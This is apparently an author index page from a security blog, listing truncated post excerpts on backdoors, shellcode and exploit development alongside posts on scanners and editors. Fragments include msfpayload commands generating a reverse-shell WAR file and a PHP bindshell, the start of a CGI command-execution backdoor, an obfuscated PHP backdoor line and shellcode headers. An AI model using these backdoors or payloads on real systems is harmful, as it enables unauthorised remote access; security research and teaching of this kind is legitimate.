Hanny Haliwela - Spentera Blog

Sign in Subscribe

Hanny Haliwela

gtAkademik Gamatechno: SQL Injection and Persistent XSS

Security Advisory

gtAkademik Gamatechno: SQL Injection and Persistent XSS

We discovered that gtAkademik Gamatechno web application is susceptible to SQL Injection and Cross-site Scripting (XSS). Stored/Persistent XSS The web application allows an attacker to inject XSS script inside the database (stored), because there is no sanitation process. There are 2 modules affected by XSS: Message Module and Update

Non-alphanumeric PHP Simple Backdoor

Non-alphanumeric PHP Simple Backdoor

After read and learn about non-alphanumeric code in php [http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/], i decide to write my own non-alphanumeric PHP simple backdoor. <? $_="{"; #XOR char $_=($_^"<").($_^">;").($_^"/"); #XOR = GET ?> <?=${'_'.$_}["_"](${'

Create a WAR backdoor with Metasploit

Create a WAR backdoor with Metasploit

Facing a tomcat server.. and need to upload a WAR backdoor…??, well… we can create a WAR backdoor very easily with Metasploit, ok follow this steps: 1. Creating the backdoor. dudul@banget:~$ msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.96.1 W &gt; dudul.war Created

inSSIDer 2 now in linux

inSSIDer 2 now in linux

inSSIDer is the first award-winning wi-fi scanner to come out of the woodwork since the netstumbler era. Use inSSIDer to war drive or troubleshoot Wi-Fi channel placement. This program will display all Wi-Fi access points within range and display their MAC address, SSID, RSSI, Channel, Vendor, Encryption, Max Rate and

HttpBlitz Web Server Denial Of Service Exploit

Exploit Development

HttpBlitz Web Server Denial Of Service Exploit

HttpBlitz Server is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to cause the application to crash, denying service to legitimate users. #!/usr/bin/python # Title: HttpBlitz DOS # Date: 12/24/2010 # Author: otoy # Software Link: http://sourceforge.net/projects/httpblitz/files/HttpBlitz.msi/download # Tested on:

Exploit Development

27 Bytes - Windows XP SP3 (en) calc win32 Shellcode

/* ========================================================================== ___ _ __ __ __ _ __ ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _ / __ / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __ / __ / __ `/ / /_/ / / /_/ / / /_/ /_/ / /_____/ __/ /__/ / / / / /_/ / / / / /_/ / __,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/ /____/ http://www.digital-echidna.org ========================================================================== Title : Window

Ubuntu Pentest Edition

NodeZero is Ubuntu [http://www.ubuntu.com/] based linux designed as a complete system which can also be used for penetration testing. NodeZero uses Ubuntu repositories so your system will be always up to date. The system setup is basic and it’s primarly designed for disk installation and customization

Geany: a Kate-like Editor in Gnome

After looking for a kate-like editor for gnome, i found geany [https://www.geany.org/]… :D, it’s a kate [https://kate-editor.org/] -like editor.. and this is what i need, an editor with integrated shell and file browser, if you don’t know about geany [https://www.geany.org/

CGI Backdoor for Linux with Python

#!/usr/bin/env python # Info : Linux based CGI backdoor with python # author: otoy # date : 0x102010 import cgi,os,re,sys form = cgi.FieldStorage() cmd = form.getvalue('cmd', '') osexe = os.popen(cmd) dirt = os.getcwd()+'/' prognm = sys.argv[0].strip() progfl = re.findall(dirt+'

Web Links Gatherer (ver 2)

By using Beautiful Soup [http://www.crummy.com/software/BeautifulSoup/], we can change the code as seen at the previous post to the code below… and it even works much better… just by changing the regex function, it return a better result : #!/usr/bin/python # otoy -- https://otoyrood.wordpress.

Web Links Gatherer dengan Python

program sederhana ini digunakan untuk mengumpulkan link-link yang ada pada sebuah halaman web, bisa juga di kembangkan menjadi sebuah crawler.. ? #!/usr/bin/python #info: program untuk mendapatkan info link-link # yang terdapat dalam sebuah halaman web # # otoy(https://otoyrood.wordpress.com) # 0x102010 from urllib import urlopen import re,sys peng = '

Bermain String dengan Python

#!/usr/bin/python import sys pgun='''penggunaan: %s <kalimat> contoh: python %s saya pusing'''%(sys.argv[0],sys.argv[0]) def main(): args = sys.argv[1:] if len(sys.argv) <= 1: print pgun sys.exit(1) #reverse kata (dalam bentuk list)

Reverse Connection Backdoor for Linux

#!/usr/bin/python #Info : This is a linux based reverse connection backdoor and # this is NOT an interactive Shell! #Author : otoy #Date : 0x102010 #Blog : otoyrood.wordpress.com import socket,sys,os,re #define osinf = os.uname() info='''==================================== py_backdoor ==================================== Author : otoy Date : 0x102010 Blog : otoyrood.wordpress.com

Bind Backdoor for Linux

#!/usr/bin/python # Info: This is a linux based bind backdoor and # this is NOT an interactive Shell! # Author: otoy# Date: 0x102010 # Blog: otoyrood.wordpress.com import socket, sys, os, re def daemonize(): pid = os.fork() if (pid != 0): os._exit(0) def main(): if len(sys.argv) < 2:

A polymorphic shellcode maker

/* A polymorphic shellcode maker original prorgam created by Rizki Wicaksono(http://www.ilmuhacking.com) i add some functions to make it more interesting, i add "sub,add" functions beside the original xor into decoder otoy(http://otoyrood.wordpress.com) 0x82010 */ #include <sys/time.h> #include <

Mendapatkan Info User (sederhana) Menggunakan Regex Pada Python

#!/usr/bin/python import os, re osenv = str(os.environ) usrpat = re.compile(' 'USER': '(.*?)'') homepat = re.compile(' 'HOME': '(.*?)'') usrp = usrpat.findall(osenv) hmrp = homepat.findall(osenv) print 'USERNAME :' + usrp[0] print 'HOME :' + hmrp[0]

Reverse Engineering: Patch Program Sederhana

Dengan melakukan reverse engineering dan menganalisa kode sebuah program (assembler), kita bisa melakukan patching terhadap sebuah program dengan merubah alur program tersebut sesuai dengan yang kita inginkan. Pada tulisan kali ini, saya akan coba sedikit menjelaskan bagaimana melakukan patching tersebut. Kita akan menggunakan program sederhana berikut ini: #include <stdio.

SHODAN – For Pentester

[http://www.shodanhq.com] Pada Defcon [https://www.defcon.org/] 18 tahun ini, Michael Schearer [https://www.defcon.org/html/defcon-18/dc-18-speakers.html#Schearer] (“theprez98”), mempresentasikan Shodan [http://www.shodanhq.com] sebagai “tools” bagi para pentester, lalu bagaimana memanfaatkan Shodan [http://www.shodanhq.com] sebagai “tools” untuk pentesting..? untuk lebih

Exploit Development

86 Bytes – Polymorphic "netcat bindport 55155" Shellcode

/* Name : 86 bytes "polymorphic - netcat bindport 55155" Info : this shellcode create a bindport 55155 with netcat Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\xeb\x13\x5e\x31\xc9\

Exploit Development

28 Bytes “/bin/sh” Shellcode (for bof exploit)

/* Name : 28 bytes "/bin/sh" shellcode - execve(/bin/sh,[/bin/sh,null,null],null) Info : A woking shellcode for bof exploit Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "

Exploit Development

20 Bytes “/bin/sh” Shellcode

Akhirnya… Shellcode pertama… ? /* Name : 20 bytes "/bin/sh" shellcode - execve(/bin/sh,..,..) Info : this shell workout without zeroing registers it used first (eax,ebx,ecx) Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h&

Exploit Development

Egg Hunter

Apa sih..?? berburu telur paskah…?? heemm… egghunter adalah salah satu tehnik yang digunakan dalam pembuatan exploit. Ada kalanya ketika kita menulis sebuah exploit, kita berhadapan dengan “ruang” yang sempit untuk memasukan shellcode yang kita miliki, untuk mengakali sempitnya “ruang” tersebut, kita bisa menggunakan tehnik egghunter untuk mengeksekusi(loncat ke) shellcode

Membuat php bindshell (backdoor) dengan Metasploit

Ingin membuat sebuah php bindshell dengan mudah..?? Metasploit adalah sebuah tool yang sangat powerfull, termasuk dalam urusan membuat php bindshell. Berikut ini langkah-langkah mudahnya: [+] Buat Bindshell. # msfpayload php/bind_php LPORT=55521 R > kutu.php KET: Perintah diatas akan membuat sebuah script php (kutu.php), yang berfungsi untuk membuat

Andiparos

andiparos [http://code.google.com/p/andiparos/] merupakan fork dari Paros Proxy [http://www.parosproxy.org/]. sama seperti Netsparker [http://otoyrood.wordpress.com/2010/08/05/netsparker/] tool ini di tujukan untuk pengujian keamanan aplikasi web, tool ini adalah tool opensource. Ada beberapa hal yang menjadi fitur dari tool ini:

Netsparker

Netsparker [https://www.mavitunasecurity.com/netsparker/] adalah sebuah sebuah web application security scanner tool, yang dapat membantu anda dalam melakukan pencarian celah keamana pada sebuah web. keunggulan dari program buatan Mavituna Security [https://www.mavitunasecurity.com] ini adalah, tool ini dapat melakukan uji coba terhadap kesalahan(bug) yang di temukannya,